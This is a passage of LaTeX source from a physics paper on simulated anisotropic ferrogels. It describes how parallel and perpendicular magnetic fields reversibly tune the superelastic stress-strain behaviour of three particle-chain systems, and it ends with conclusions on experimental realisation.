The explanation for this stiffening influence of the external magnetic field is the suppression of magnetic moment reorientations and, thus, in this \emph{cov$\,\rightrightarrows$} system, of particle rotations.
We have seen, however, in Fig.~\ref{fig.snapshot_covrightright_100} that such particle rotations would arise in the absence of a magnetic field to minimize the elastic energy.
Suppressing them increases the necessary mechanical energy input into the system.
The snapshot in Fig.~\ref{fig.snapshot_covrightright-Bx10_100} shows a sample with an applied field of $B_x = 10 B_0$ at a strain of $\Delta L / L_0 = 100\%$ for comparison with the analogous situation in Fig.~\ref{fig.snapshot_covrightright_100} for $B_x = 0$.
\begin{figure*}[htb]
\centering
\subfloat{\label{fig.covrightright_Bx_stresstrain}}
\subfloat{\label{fig.snapshot_covrightright-Bx10_100}}
\subfloat{\label{fig.covrightright_Bx_nematicOrder}}
\subfloat{\label{fig.covrightright_Bx_nematicOrder-nN}}
\includegraphics[width = 1.0\textwidth]{Fig8_combined-compressed}
\caption{Same as Fig.~\ref{fig.free_Bx}, but for the \emph{cov$\,\rightrightarrows$} system. \protect\subref{fig.covrightright_Bx_stresstrain} The stress-strain curves for different external magnetic field strengths are almost identical up to the end of the superelastic plateau. Beyond this point, higher field strengths increase the stiffness until at very high strains the slopes become similar again. \protect\subref{fig.snapshot_covrightright-Bx10_100} Snapshot of a system at a strain of $\Delta L / L_0 = 100\%$ illustrating that a field of $B_x = 10 B_0$ can effectively prevent the particle rotations favored by local shears due to the elastic inhomogeneities. Here, the internal shear stresses of the system cannot relax via particle rotations and the parallel magnetic moments repel each other in the direction perpendicular to the stretching axis, both effects stiffen the system against further elongation. \protect\subref{fig.covrightright_Bx_nematicOrder} Nematic order parameter $S_m$ for the magnetic moment orientations. The external magnetic field can postpone the crossover to the regime of decreasing orientational order, allowing for particle rotations and magnetic moment reorientations only at very high strains. \protect\subref{fig.covrightright_Bx_nematicOrder-nN} Here, the nematic order parameter $S_r$ for the nearest-neighbor separation vectors is barely sensitive to a change in the external magnetic field strength.}
\label{fig.covrightright_Bx}
\end{figure*}
For a more quantitative analysis of the rotation effects, we evaluate the nematic order parameter $S_m$ of the orientations of the magnetic moments as a function of the imposed strain, see Fig.~\ref{fig.covrightright_Bx_nematicOrder}.
We can distinguish between two major regimes.
In the first one, the overall strain is still too low to induce significant local shear deformations due to the inhomogeneities, thus, the particles rotate only slightly and $S_m$ remains on a high and relatively constant level. However, in the second regime, we can observe an approximately linear decay in $S_m$ as the particles begin to significantly rotate.
In the absence of an external magnetic field, the crossover between both regimes occurs at the end of the superelastic plateau.
There, the particles are detached from the chains.
This reduces the aligning magnetic interactions and the particles become susceptible to rotations due to the elastic inhomogeneities in the system.
Interestingly, increasing the strength of the external magnetic field can postpone the crossover far beyond this point by supporting the magnetic moment orientations along the field direction.
This stiffens the system in two ways.
First, the inhomogeneity shear stresses are prevented from relaxing via the favored channel: the rotation of particles.
Second, the magnetic moments in the system keep repelling each other perpendicular to the stretching axis, which works against their perpendicular approach.
The stronger the external magnetic field strength, the longer the embedded particles can resist a rotation, maintaining the stiffening effect.
For all considered magnetic field strengths, the particles eventually begin to rotate, as indicated by the crossover in $S_m$.
Therefore, the slopes of the stress-strain curves become similar again at the maximum strain.
Finally, we show for completeness in Fig.~\ref{fig.covrightright_Bx_nematicOrder-nN} the nematic order parameter $S_r$ for the nearest-neighbor separation vectors as a function of the imposed strain.
Here, the curves for different magnetic field strengths are largely similar.
\begin{figure*}[htb]
\centering
\subfloat{\label{fig.covleftright_Bx_stresstrain}}
\subfloat{\label{fig.snapshot_covleftright-Bx6_30}}
\subfloat{\label{fig.covleftright_Bx_nematicOrder}}
\subfloat{\label{fig.covleftright_Bx_nematicOrder-nN}}
\includegraphics[width = 1.0\textwidth]{Fig9_combined-compressed}
\caption{Same as Fig.~\ref{fig.free_Bx} but for the \emph{cov$\,\leftrightarrows$} system. \protect\subref{fig.covleftright_Bx_stresstrain} Uniaxial stress-strain behavior. Applying an external magnetic field parallel to the stretching axis gradually removes the pronounced nonlinearity. \protect\subref{fig.snapshot_covleftright-Bx6_30} Snapshot of a \emph{cov$\,\leftrightarrows$} system under the influence of an external magnetic field of $B_x = 6 B_0$ at a strain of $\Delta L / L_0 = 30\%$. The particles carrying the misaligned magnetic moments are strongly rotated towards the external magnetic field and distort their environment in the process, which also affects the chains containing the particles of aligned magnetic moments. As a result, the detachment mechanism is mostly deactivated. \protect\subref{fig.covleftright_Bx_nematicOrder} Nematic order parameter $S_m$ for the magnetic moment orientations. Increasing the strength of the external magnetic field first lowers the overall $S_m$ due to the rotations of particles carrying misaligned magnetic moments and due to the resulting distortions of the rest of the system. At high field strengths, $S_m$ increases slightly with $B_x$, as the orientations of the aligned magnetic moments are stabilized. \protect\subref{fig.covleftright_Bx_nematicOrder-nN} The structural order in the system measured by $S_r$ is not influenced strongly as long as $B_x \lesssim 4 B_0$. Beyond that field strength, however, it significantly decreases because of the induced rotations of the particles carrying misaligned magnetic moments.}
\label{fig.covleftright_Bx}
\end{figure*}
Now we come to the \emph{cov$\,\leftrightarrows$} system and present the results in Fig.~\ref{fig.covleftright_Bx}.
Before the external magnetic field is applied, these systems are in a state like the one depicted in Fig.~\ref{fig.snapshot_free_equi}.
Roughly half of the magnetic moments are aligned along to the magnetic field direction, while the other half is oppositely aligned and tends to reorient to minimize the magnetic interaction energy with the external field.
This has implications on the stress-strain behavior, as illustrated in Fig.~\ref{fig.covleftright_Bx_stresstrain}.
For small field strengths ($B_x = 2B_0$), the behavior barely changes compared to the case of vanishing external magnetic field.
Then for intermediate fields of $B_x = 4B_0$, the steep increase at low strains as well as the superelastic plateau become less pronounced.
Starting from a field of $B_x = 6B_0$, the superelastic features vanish altogether.
An explanation is given in the following.
As long as the external field strength is low enough ($B_x = 2B_0$), the energy cost of misalignment is not particularly large for the magnetic moments in the metastable configuration antiparallel to the field.
However, when increasing the external field, due to imperfections in the initial antiparallel alignment, at some point the magnetic particles can be rotated by a significant amount.
Then, the torques due to the external field get amplified, causing the particles to rotate even further.
At this stage, the reorientations of the misaligned moments together with their carrying particles begin to distort the sample substantially.
Obviously, for the corresponding chains, the detachment mechanism will seize to function at this point, but also the chains containing aligned magnetic moments in the neighborhood will be disturbed.
This chaotic situation is depicted in the snapshot in Fig.~\ref{fig.snapshot_covleftright-Bx6_30} for an external magnetic field of $B_x = 6B_0$ and a strain of $30\%$.
One can still identify the particles that have been aligned along the field direction, but the corresponding chains are distorted.
As a result, the detachment mechanism is disabled and the superelastic plateau vanishes.
The plots of the nematic order parameters $S_m$ and $S_r$ in Figs.~\ref{fig.covleftright_Bx_nematicOrder},\subref*{fig.covleftright_Bx_nematicOrder-nN} support this picture.
For small magnetic field strength of $B_x = 2 B_0$, $S_m$ is still very similar to the case of vanishing magnetic field.
Further increasing the field strength up to $B_x = 6 B_0$ promotes magnetic disorder in the system, leading to an overall low level of $S_m$.
From there on, the level of $S_m$ slightly increases with the magnetic field strength as the orientations of the aligned magnetic moments are stabilized by the field.
The structural order measured by $S_r$ does not change too much as long as $B_x \lesssim 4 B_0$.
Starting from $B_x \gtrsim 6B_0$, however, the misaligned magnetic moments are rotated significantly and distort the system.
The increased magnetic order indicated by a higher level of $S_m$ apparently cannot prevent the structure from becoming more disturbed, so that $S_r$ is still lowered further.
In conclusion, the effect of an external magnetic field applied parallel to the stretching axis varies substantially among the different systems.
In the \emph{free} system, the main effect is the deactivation of the flipping mechanism, which makes the stress-strain behavior almost identical to the one of the \emph{cov$\,\rightrightarrows$} system in the absence of an external magnetic field.
Within the \emph{cov$\,\rightrightarrows$} system the superelasticity is barely affected.
However, the external magnetic field stabilizes the particle orientations at strains beyond the superelastic plateau and thereby stiffens the stress-strain behavior.
Finally, in the \emph{cov$\,\leftrightarrows$} system the field promotes a strongly disturbed structure by rotating particles carrying magnetic moments misaligned with the field.
As a consequence, the detachment mechanism is disabled and the superelastic plateau vanishes from the stress-strain curves.
\subsection{External magnetic field perpendicular to the stretching axis ($\mathbf{B} = B_y \mathbf{\hat{y}}$)}
\label{subsec.perpendicular_field}
\begin{figure*}[t!]
\centering
\subfloat{\label{fig.free_By_stressstrain}}
\subfloat{\label{fig.snapshot_free-By2_equi}}
\subfloat{\label{fig.free_By_nematicOrder}}
\subfloat{\label{fig.free_By_nematicOrder-nN}}
\includegraphics[width = 1.0\textwidth]{Fig10_combined-compressed}
\caption{ Results for the \emph{free} system under the influence of an external magnetic field of varying strength perpendicular to the stretching axis. \protect\subref{fig.free_By_stressstrain} The superelastic stress-strain behavior can be readily tuned$^1$. Increasing the field gradually removes the superelasticity and lowers the slope of the initial steep increase. A field of $B_y = 3 B_0$ is already strong enough to remove all superelastic nonlinearities. \protect\subref{fig.snapshot_free-By2_equi} Snapshot of an unstretched sample with an applied external magnetic field of $B_y = 2 B_0$. A significant portion of the particles is already detached, their carried magnetic moments already flipped. As a consequence, the detachment and flipping mechanism have less impact on the stress-strain behavior, and superelastic as well as hysteretic features are reduced. \protect\subref{fig.free_By_nematicOrder} Degree of magnetic order $\tilde{S}_m$ and \protect\subref{fig.free_By_nematicOrder-nN} degree of structural order $\tilde{S}_r$ using the definition in Eq.~\eqref{eq.nematic_tensor_order_parameter_projected}. Both order parameters are again strongly correlated. Increasing the magnetic field strength shifts the local minimum marking the regime of mixed orientations to lower strains. That is, the threshold strains for detachment and flip events are lowered, with many events having occurred already in the unstretched state. This limits the amount of events that can still take place when the sample is stretched. At $B_y = 3 B_0$, the pronounced minima of $\tilde{S}_m$ and $\tilde{S}_r$ have vanished as all magnetic moments are already reoriented in the unstretched state. Therefore, there are no remaining flip or detachment events already in the unstretched state and, as a consequence, superelasticity is switched off.}
\label{fig.free_By}
\end{figure*}
An external magnetic field applied perpendicular to the stretching axis (here the $y$-axis) attempts to rotate the magnetic moments away from their attractive head-to-tail configuration within the chains.
This influence is strongest in the \emph{free} system, where the magnetic moments are free to reorient to minimize their magnetic energy.
In the \emph{cov$\,\rightrightarrows$} and \emph{cov$\,\leftrightarrows$} systems, however, rotations of the magnetic moments are counteracted by restoring torques on the embedded particles due to the induced deformation of the surrounding matrix.
Let us again discuss the \emph{free} system first.
We present the results in the same fashion as before for the parallel field.
Figure~\ref{fig.free_By_stressstrain} shows the resulting stress-strain behavior\footnotemark[1].
The perpendicular field has two effects.
First, it influences the superelasticity, causing the plateau to be confined to a smaller strain interval.
Second, it lowers the initial slope of the stress-strain curve.
At a high enough magnetic field strength, the superelastic nonlinearities are switched off completely together with the hysteresis, and the stress-strain curve becomes ordinary.
To understand this behavior, it is first noted that the perpendicular magnetic field shifts the flipping mechanism to smaller strains.
This is intuitive, as the external magnetic field energetically supports flips to a direction perpendicular to the stretching axis.
Analysis of the nematic order parameters $\tilde{S}_m$ and $\tilde{S}_r$ in Figs.~\ref{fig.free_By_nematicOrder},\subref*{fig.free_By_nematicOrder-nN}, respectively, confirms this expectation.
The regime of mixed orientations centered around the minimum in $\tilde{S}_m$ is shifted to lower strains by the field.
In this regime, some of the magnetic moments are still aligned along the chains, while others have already flipped.
Meanwhile, $\tilde{S}_r$ remains strongly correlated with $\tilde{S}_m$.
This indicates that the external magnetic field does not only influence the flipping mechanism, but also the detachment mechanism.
As noted before, flip events trigger detachment events and vice versa.
Reoriented magnetic moments do not feel a strong attraction along the stretching axis that could keep the carrying particles attached to the chains.
So the threshold strains for both mechanisms are lowered at the same time.
This shift of threshold strains can cause the system to enter a mixed state already without any external strain imposed.
The snapshot in Fig.~\ref{fig.snapshot_free-By2_equi} shows a situation of $B_y = 2B_0$.
Although the system is unstretched in the depicted case, a significant amount of particles has already detached from the chains.
Their magnetic moments are aligned along the field direction, perpendicular to the chain axis.
So the fraction of particles that can still perform detachment or flip events is lowered.
As a result, the features corresponding to both mechanisms are less pronounced in the stress-strain curves.
Also the initial slope is lower, because the overall magnetic attraction along the stretching direction cannot counteract the elongation as strongly.
Consequently, the superelastic plateau spans a smaller strain interval.
We now proceed to the results for the \emph{cov$\,\rightrightarrows$} system shown in Fig.~\ref{fig.covrightright_By}.
In the case of vanishing external magnetic field, this system features global magnetic order in the $x$-direction, see again Fig.~\ref{fig.snapshot_covrightright_equi}.
Applying an external magnetic field perpendicular to the stretching axis leads to a new state of rotated global polar magnetic order.
Figure~\ref{fig.snapshot_covrightright-By10_equi} shows a snapshot of an unstretched system subject to a strong external magnetic field of $B_y = 10 B_0$.
The magnetic moments, together with the carrying particles, are rotated towards a configuration of collective polar alignment oblique to the external magnetic field.
This occurs against the strong magnetic attractions within each chain and the necessary elastic deformation of the matrix between the particles.
The rotations of individual particles are energetically expensive.
In fact, the system partially avoids these expensive rotations by allowing chain segments to rotate as a whole towards the field.
Undulations and buckling of the chains \cite{Huang2016_SoftMatter} then lead to a compromise between the minimization of the elastic and magnetic parts of the total energy.
\begin{figure*}[t!]
\centering
\subfloat{\label{fig.covrightright_By_stresstrain}}
\subfloat{\label{fig.snapshot_covrightright-By10_equi}}
\subfloat{\label{fig.covrightright_By_nematicOrder}}
\subfloat{\label{fig.covrightright_By_nematicOrder-nN}}
\includegraphics[width = 1.0\textwidth]{Fig11_combined-compressed}
\caption{Same as Fig.~\ref{fig.free_By}, but for the \emph{cov$\,\rightrightarrows$} system. \protect\subref{fig.covrightright_By_stresstrain} The superelasticity in the stress-strain behavior can again be deactivated by a perpendicular external magnetic field, but only at significantly higher field strengths. \protect\subref{fig.snapshot_covrightright-By10_equi} Snapshot showing the unstretched state of a system under the influence of a field of $B_y = 10 B_0$. The system enters a new state of global polar magnetic order, with magnetic moments aligned oblique to the external magnetic field. Energetically expensive rotations of individual particles are avoided, instead whole chain segments rotate as one unit. \protect\subref{fig.covrightright_By_nematicOrder} Plot of the nematic order parameter $S_m$ for the magnetic moment orientations demonstrating that already a moderate magnetic field strength can maintain a state of global polar magnetic order up to the maximum elongation. \protect\subref{fig.covrightright_By_nematicOrder-nN} Nematic order parameter $S_r$ for the nearest-neighbor separation vectors. When the external magnetic field is weak, $S_r$ is high at low strains and then drops to a low and relatively constant level. A strong field removes this large drop so that a relatively constant intermediate level of structural order remains at all strains. This indicates again the tendency of whole chain segments to rotate as one unit, creating a principal axis of structural order oblique to the external magnetic field direction and the initial chain axes.}
\label{fig.covrightright_By}
\end{figure*}
Either way, the magnetic dipolar attraction between neighboring particles along the stretching direction is weakened, which impedes the detachment mechanism.
So the influence of the perpendicular external magnetic field on the stress-strain behavior is again a gradual removal of the superelastic plateau, as illustrated in Fig.~\ref{fig.covrightright_By_stresstrain}.
A stiffening of the stress-strain behavior beyond the superelastic plateau, as in the case of a parallel external magnetic field, however, cannot be observed.
Contrary to the parallel magnetic field, the perpendicular magnetic field breaks the uniaxial symmetry of the system and offers a distinctive direction for the particles to rotate towards.
As can be deduced from the nematic order parameter $S_m$ of the magnetic moments plotted in Fig.~\ref{fig.covrightright_By_nematicOrder}, the perpendicular external field aligns the particles very effectively even up to the highest considered strains.
Differences in the rotations of the particles due to elastic inhomogeneities can, thus, be prevented.
A field of $B_y = 2 B_0$, is already quite successful in this respect, using stronger fields does not significantly increase the effect much further.
The mutual repulsion between the parallel magnetic moments does not counteract an elongation of the system any more.
Thus, there is no significant stiffening of the stress-strain behavior when changing the external magnetic field strength.
We also plot the nematic order parameter $S_r$ of the nearest-neighbor separation vectors in Fig.~\ref{fig.covrightright_By_nematicOrder-nN}.
For $B_y = 0$, $S_r$ is at a high level for low strains, where it is most likely that the nearest-neighbor of a particle is located along the stretching axis within the same chain.
Then $S_r$ quickly drops as the chains are stretched out and subsequently remains at a low level.
When a perpendicular magnetic field is applied, such a drop of $S_r$ never occurs.
It remains likely that the nearest-neighbor of a particle is within the same chain for the whole considered range of strains.
This reflects again the tendency of whole chain segments to rotate as one unit towards the field, staying structurally intact and creating the partial structural order reflected by $S_r$.
\begin{figure*}[t!]
\centering
\subfloat{\label{fig.covleftright_By_stresstrain}}
\subfloat{\label{fig.snapshot_covleftright-By10_equi}}
\subfloat{\label{fig.covleftright_By_nematicOrder}}
\subfloat{\label{fig.covleftright_By_nematicOrder-nN}}
\includegraphics[width = 1.0\textwidth]{Fig12_combined-compressed}
\caption{Same as Fig.~\ref{fig.free_By}, but for the \emph{cov$\,\leftrightarrows$} system. \protect\subref{fig.covleftright_By_stresstrain} The stress-strain behavior responds to the external magnetic field in a very similar way as for the \emph{cov$\,\leftrightarrows$} system. Increasing the field strength gradually removes the superelastic nonlinearity. \protect\subref{fig.snapshot_covleftright-By10_equi} Snapshot of an unstretched system with an applied external magnetic field of $B_y = 10 B_0$. There are two competing polarities for the magnetic moments, sharing a common $y$-component but with opposite $x$-components. \protect\subref{fig.covleftright_By_nematicOrder} Quantification of the magnetic order in the system via the nematic order parameter $S_m$ for the magnetic moment orientations. When the magnetic field strength and the strain are low, the two opposing polarities that are not aligned along a common axis compete, and $S_m$ is a decreasing function of the strain. The higher the magnetic field strength and the higher the strain, the more the magnetic moments are rotated. Eventually, the magnetic field direction is preferred over the stretching axis by both polarities and $S_m$ becomes an increasing function of the strain. For $B_y \gtrsim 8 B_0$ this is already the case in the unstretched state, which is consistent with the observation that the corresponding stress-strain curves do not show superelasticity anymore. \protect\subref{fig.covleftright_By_nematicOrder-nN} Nematic order parameter $S_r$ for the nearest-neighbor separation vectors, quantifying the structural order. The minimum in $S_r$ shifts to lower strains when increasing the field strength and the overall value beyond the minimum is increased. This is simply a consequence of the particle rotations that lead to less magnetic attraction between particles along the stretching axis and to more attraction along the magnetic field direction.}
\label{fig.covleftright_By}
\end{figure*}
Let us finally discuss the \emph{cov$\,\leftrightarrows$} system under the influence of a perpendicular external magnetic field.
Contrary to the case of a parallel external magnetic field, there are no particles that are aligned oppositely to the external field.
All particles can in principle rotate equally easily into the external magnetic field direction.
However, the initial orientation of the magnetic moment of a particle determines the sense of rotation towards the field.
Neighboring chains with opposing alignment of the magnetic moments show opposing sense of rotation.
As a consequence, in contrast to the \emph{cov$\,\rightrightarrows$} system, the rotations of complete chain segments towards the magnetic field are largely blocked.
Instead, the particles within the chains individually rotate towards the external field, as depicted in the snapshot of an unstretched sample in Fig.~\ref{fig.snapshot_covleftright-By10_equi}.
Here, the external magnetic field of $B_y = 10 B_0$ has rotated the particles by a significant amount, but the chains are still relatively ordered and aligned along the stretching axis.
Depending on their initial alignment, the magnetic moments together with their carrying particles rotate either clockwise or counterclockwise towards the field.
In this way, there are two competing magnetic polarities in the system, with roughly the same $y$-component but oppositely signed $x$-components.
The resulting stress-strain behavior is plotted in Fig.~\ref{fig.covleftright_By_stresstrain} and reveals an influence of the external magnetic field very similar to the \emph{cov$\,\rightrightarrows$} system.
Increasing the magnetic field strength rotates the particles further and weakens their attraction along the stretching axis.
This gradually disables the detachment mechanism and, therefore, removes the superelastic plateau from the stress-strain curve.
Again, we cannot observe significant stiffening of the system at high strains when increasing the external magnetic field strength, for the same reasons as in the \emph{cov$\,\rightrightarrows$} system.
The two competing magnetic polarities are reflected by the nematic order parameter $S_m$ plotted in Fig.~\ref{fig.covleftright_By_nematicOrder}.
In the unstretched state, when neighboring particles in a chain are close to each other, their magnetic interaction intensifies an alignment of the magnetic moments parallel to the stretching axis.
The magnetic field, however, urges the differently orientated magnetic moments and their carrying particles to rotate out of their common initial axis of alignment.
More precisely, for magnetic moments of opposite initial orientation, this leads to opposite senses of rotation, which destroys the overall nematic alignment.
At low field strengths the particles rotate only slightly in the unstretched state, so that $S_m$ is initially high.
Stronger fields are able to rotate the particles further, see again Fig.~\ref{fig.snapshot_covleftright-By10_equi}, leading to a lower value of $S_m$ at zero strain.
With increasing strain, the magnetic interactions between neighboring particles in a chain are weakened due to their increased separation.
The particles become more susceptible to rotations by the magnetic field.
Thus, a decline in $S_m$ can be observed.
$S_m$ increases again when the $y$-direction becomes predominant for all magnetic moments so that they again align along a common axis.
At even stronger fields of $B_y = 8 B_0$ and $B_y = 10 B_0$, the $y$-direction is prevalent at all strains, so that $S_m$ is monotoneously increasing.
This is in agreement with the observation, that for these magnetic field strengths superelastic features in the stress-strain curve are absent.
Finally, we show in Fig.~\ref{fig.covleftright_By_nematicOrder-nN} the nematic order parameter $S_r$ for the nearest-neighbor separation vectors.
The minimum in each curve indicates the point where it becomes more likely for particles to find their nearest-neighbors in a direction perpendicular to the stretching axis than parallel.
For low field strengths, this structural bias along the perpendicular axis is not very distinctive.
Increasing the field strength, however, shifts the minimum to lower strains and increases the value of $S_r$ at higher strains.
This is intuitive, because for stronger magnetic fields there is simply less attraction within individual chains along the stretching axis and more attraction perpendicular to the stretching axis between reoriented particles belonging to different chains.
In summary, the main effect of the perpendicular external magnetic field in all systems is the gradual removal of the superelastic plateau from the stress-strain curves.
This is mainly caused by the rotation of the magnetic moments into the direction of the magnetic field.
When the magnetic attraction between neighboring particles along the stretching axis disappears, the detachment mechanism seizes to function.
In the \emph{free} system, magnetic moment reorientations can be achieved exceptionally easily (see the different scales for $B_y$ in Figs.~\ref{fig.free_By}--\ref{fig.covleftright_By}), making this system highly susceptible to the perpendicular external magnetic field.
Together with the detachment mechanism, also the flipping mechanism is gradually deactivated.
In the \emph{cov$\,\rightrightarrows$} system rotations of the magnetic moments are harder to achieve and require significantly stronger magnetic fields.
We can observe collective rotations of the particles such that global polar magnetic ordering is preserved with all magnetic moments aligned oblique to the external field.
Furthermore, these systems avoid the energetically expensive rotations of individual particles by allowing whole segments of the chains to rotate towards the external magnetic field as one unit.
As a result, the chains buckle and undulate as a compromise between minimizing the magnetic and elastic energetic contributions.
Finally, the \emph{cov$\,\leftrightarrows$} system behaves quite similar concerning the influence of the external field on the stress-strain behavior.
However, here the particles do rotate individually towards the field, facilitated by the initially opposite magnetic alignment in different chains.
During the rotation process, the opposing magnetic alignments lead to two separate polarization directions of the magnetic moments.
Altogether, in both \emph{cov} systems, particle rotations induced by elastic inhomogeneities of the system are effectively superseded by particle rotations due to the external magnetic field.
\section{Conclusions}
\label{sec.conclusions}
We have numerically investigated the stress-strain behavior of uniaxial ferrogel systems.
Our anisotropic numerical systems consist of chain-like aggregates of spherical colloidal magnetic particles that are embedded in an elastic matrix of a cross-linked polymer.
The particles are rigid and of finite size, while the matrix is treated by continuum elasticity theory.
In experimental situations, the chain-like aggregates can be generated by applying a strong homogeneous external magnetic field during synthesis.
We have considered three different realizations of such uniaxial ferrogel systems.
The \emph{free} system features magnetic moments that can freely reorient with respect to the frames of the carrying particles frames and the surrounding matrix.
In contrast to that, in the \emph{cov$\,\rightrightarrows$} system the magnetic moments are fixed with respect to the axes of the carrying particles.
Additionally, the particles are covalently embedded into the matrix: particle rotations require corotations of the directly surrounding elastic material, leading to matrix deformations and restoring torques.
Initially, all magnetic moments point into the same direction along the chain axes.
The third system is the \emph{cov$\,\leftrightarrows$} system, where the magnetic moments are likewise firmly anchored.
However, initially the magnetic moments point into opposite directions along the chain axes.
When we stretch these systems along the chain axes, a pronounced nonlinearity in the stress-strain behavior appears.
It has the form of a superelastic plateau, along which the samples can be strongly deformed while barely increasing the load.
The deformation is reversible and the shape and intensity of the superelastic plateau can be reversibly tailored by external magnetic fields.
There are two stretching-induced mechanisms that enable superelasticty.
The main mechanism is a detachment mechanism and active in all systems.
It relies on the strong magnetic dipolar attraction between neighboring particles within one chain as long as the magnetic moments align along the chain axis.
At certain threshold strains, parts of the chain can detach, leading to a local elongation of the system.
This leaves the remainder of the chain intact until the next detachment event is triggered.
Besides, a flipping mechanism corresponding to reorientation events of magnetic moments is only active in the \emph{free} system, where the magnetic moments can easily rotate.
A flip event occurs when elongation of the system causes positional rearrangements such that for a subset of magnetic moments a new orientation is suddenly rendered energetically more favorable.
The inhomogeneous distribution of the rigid inclusions in our samples results in regions of elevated stiffness.
At high strains, this leads to local shears that rotate the embedded particles.
This is especially apparent in the \emph{cov$\,\rightrightarrows$} and \emph{cov$\,\leftrightarrows$} systems and influences their stress-strain behavior.
Our systems can be reversibly tuned by an external magnetic field as follows.
If the field is applied parallel to the chain axes, the detachment mechanism is not affected in the \emph{free} and \emph{cov$\,\rightrightarrows$} systems, so that the superelastic plateau remains intact.
However, in the \emph{cov$\,\leftrightarrows$} system the particles carrying misaligned magnetic moments are forced to rotate.
The corresponding chains are strongly distorted, which perturbs the neighboring chains carrying aligned magnetic moments as well.
This weakens the required magnetic attractions along the stretching axis that are vital for a pronounced detachment mechanism and removes the superelasticity from the stress-strain curve of the \emph{cov$\,\leftrightarrows$} system.
Moreover, in the \emph{free} system the flipping mechanism can be deactivated as well, as the aligning external magnetic field hinders reorientations of magnetic moments.
Consequently, the related features are removed from the stress-strain behavior, leaving only a flat plateau caused by the detachment mechanism.
Finally, in the \emph{cov$\,\rightrightarrows$} system, the external field parallel to the chains has another interesting effect.
We can observe a stiffening of the system when increasing the field strength at high strains beyond the superelastic plateau.
In this situation, all particles have been detached from their chains, leaving them particularly susceptible to rotations due to shears caused by the elastic inhomogeneity of the system.
Since the external magnetic field introduces an energetic penalty for particle rotations, the intrinsic inhomogeneity-caused shear stresses cannot relax via particle rotations and the magnetic moments remain parallel to each other.
The parallel magnetic moments repel each other in the direction perpendicular to the stretching axis and, thus, work against a volume-conserving stretching deformation.
In combination both effects increase the stiffness of the system.
When instead the magnetic field is applied perpendicular to the stretching axis, the detachment mechanism is weakened in all three systems due to an induced rotation of the magnetic moments towards a configuration which is repulsive along the stretching axis.
In this way, the superelastic plateau can be gradually removed from the stress-strain curve by increasing the field strength.
This works exceptionally well in the \emph{free} system, where the magnetic moments are not anchored to the particle frames and the flipping mechanism is likewise weakened.
In contrast to that, in the \emph{cov$\,\rightrightarrows$} and \emph{cov$\,\leftrightarrows$} systems, even a strong external magnetic field cannot rotate the magnetic moments completely.
While in the \emph{cov$\,\rightrightarrows$} system, the magnetic moments feature a global magnetic alignment oblique to the external magnetic field, the two opposite initial magnetic alignment directions in the \emph{cov$\,\leftrightarrows$} system lead to two separate polar alignment directions, each of them oblique to the external magnetic field.
Our effects rely on the sufficiently strong magnetic interactions in our systems when compared to the elastic interactions.
To achieve this experimentally, the remnant magnetization of the particle material should be as high as possible.
For example, \ce{NdFeB}, can easily exceed $2 \times 10^5 \, \textrm{A}/\textrm{m}$ \cite{Kramarenko2015_SmartMaterStruct}.
At the same time, the elastic matrix into which the particles are embedded should be soft.
Fabricating matrices with $E \lesssim 10^3 \, \textrm{Pa}$ is possible using silicone \cite{Hoang2009_SmartMaterStruct,Chertovich2010_MacromolMaterEng,Stoll2014_JApplPolymSci} or polydimethylsiloxane \cite{Huang2016_SoftMatter}.
With these materials, our assumed value of $m = 10 \, m_0$ can be achieved and is, therefore, experimentally realistic.
Also the highest considered magnetic field strength of $B = 10 B_0$ corresponding to $100 \, \textrm{mT}$ is readily accessible.
We stress that the behavior of our systems does not depend on the length scale of the problem.
In an experiment, this freedom can for instance be exploited to adjust the particle size to the effect under investigation.
For example, the \emph{free} system could be realized by relatively small particles where the N\'eel mechanism \cite{Neel1949_AnnGeophys} is active and the magnetic moments can rotate relatively to the particle frame.
Increased particle size would be necessary to generate the \emph{cov$\,\rightrightarrows$} and \emph{cov$\,\leftrightarrows$} systems.
The \emph{free} and \emph{cov$\,\rightrightarrows$} systems can be generated by applying an external magnetic field during synthesis to form the embedded chains \cite{Zubarev2000_PhysRevE,Hynninen2005_PhysRevLett,Auernhammer2006_JChemPhys,Smallenburg2012_JPhysCondensMatter} from N\'eel-type particles \cite{Neel1949_AnnGeophys} and from monodomain particles of larger size, respectively, possibly by covalently anchoring appropriately sized particles into the matrix \cite{Frickel2011_JMaterChem,Ilg2013_SoftMatter,Roeder2014_Macromolecules,Roeder2015_PhysChemChemPhys}.
For the small N\'eel-type particles, typically of sizes up to 10--15 nm, thermal fluctuations become important. These can suppress the hysteretic behavior as well as the negative slope associated with the dip in our stress-strain curves.
Overall, these fluctuations will smoothen the bumps along the plateau, leading to a flatter appearance. \emph{Free} systems of larger particle size could be realized e.g. using so-called yolk-shell colloidal particles \cite{Liu2012_JMaterChem,Okada2013_Langmuir} that consist of a magnetic core rotatable within a shell.
To realize the \emph{cov$\,\leftrightarrows$} system, electro-magnetorheological fluids \cite{Fujita1999_PowderTechnol,Wen2003_PhysicaB,Wang2013_DaltonTrans} could be used as a precursor of the anisotropic ferrogel.
In such a system, an external electrical field can be applied to induce the chain formation of the electrically polarizable magnetic particles, while still allowing for opposite alignments of the magnetic moments in separate chains.
Subsequent cross-linking of the surrounding polymer with covalent embedding of the particles should lock the chain structures together with their oppositely directed magnetic alignments into the emerging matrix.
The result would be an anisotropic ferrogel with the desired \emph{cov$\,\leftrightarrows$} morphology.
We have assumed permanent magnetic dipoles carried by spherical particles in this work.
The particles are arranged in characteristic chain-like structures.
Possible quantitative refinements comprise extensions beyond the permanent point-dipole picture \cite{Biller2014_JApplPhys,Biller2015_JOptoelectronAdvMater,Allahyarov2015_PhysChemChemPhys} or to elongated, non-spherical particles \cite{Bender2011_JMagnMagnMater,Tierno2014_PhysChemChemPhys,Roeder2014_Macromolecules,Roeder2015_PhysChemChemPhys}.
However, the main mechanism leading to superelastic behavior in our systems is the detachment mechanism for which only strong attraction at short distances between the neighboring particles along the stretching axis is necessary.
This kind of attraction can likewise be realized for soft magnetic particles magnetized by an external field.
The same mechanism could also be realized for nonmagnetic attractive interaction forces, e.g., for particles sufficiently polarizable by an external electrical field.
Moreover, also the flipping mechanism could be initiated for soft magnetic particles, when the direction of a magnetizing external magnetic field is switched at the corresponding imposed strain.
Furthermore, to observe the basic phenomenology, the chain-like aggregates do not necessarily need to span the whole system.
In the most basic opposite situation, embedded pair aggregates would be sufficient \cite{Biller2014_JApplPhys}.
Also the chains do not need to be as perfectly straight as considered here but could for example be weakly wiggled \cite{Han2013_IntJSolidsStruct}.
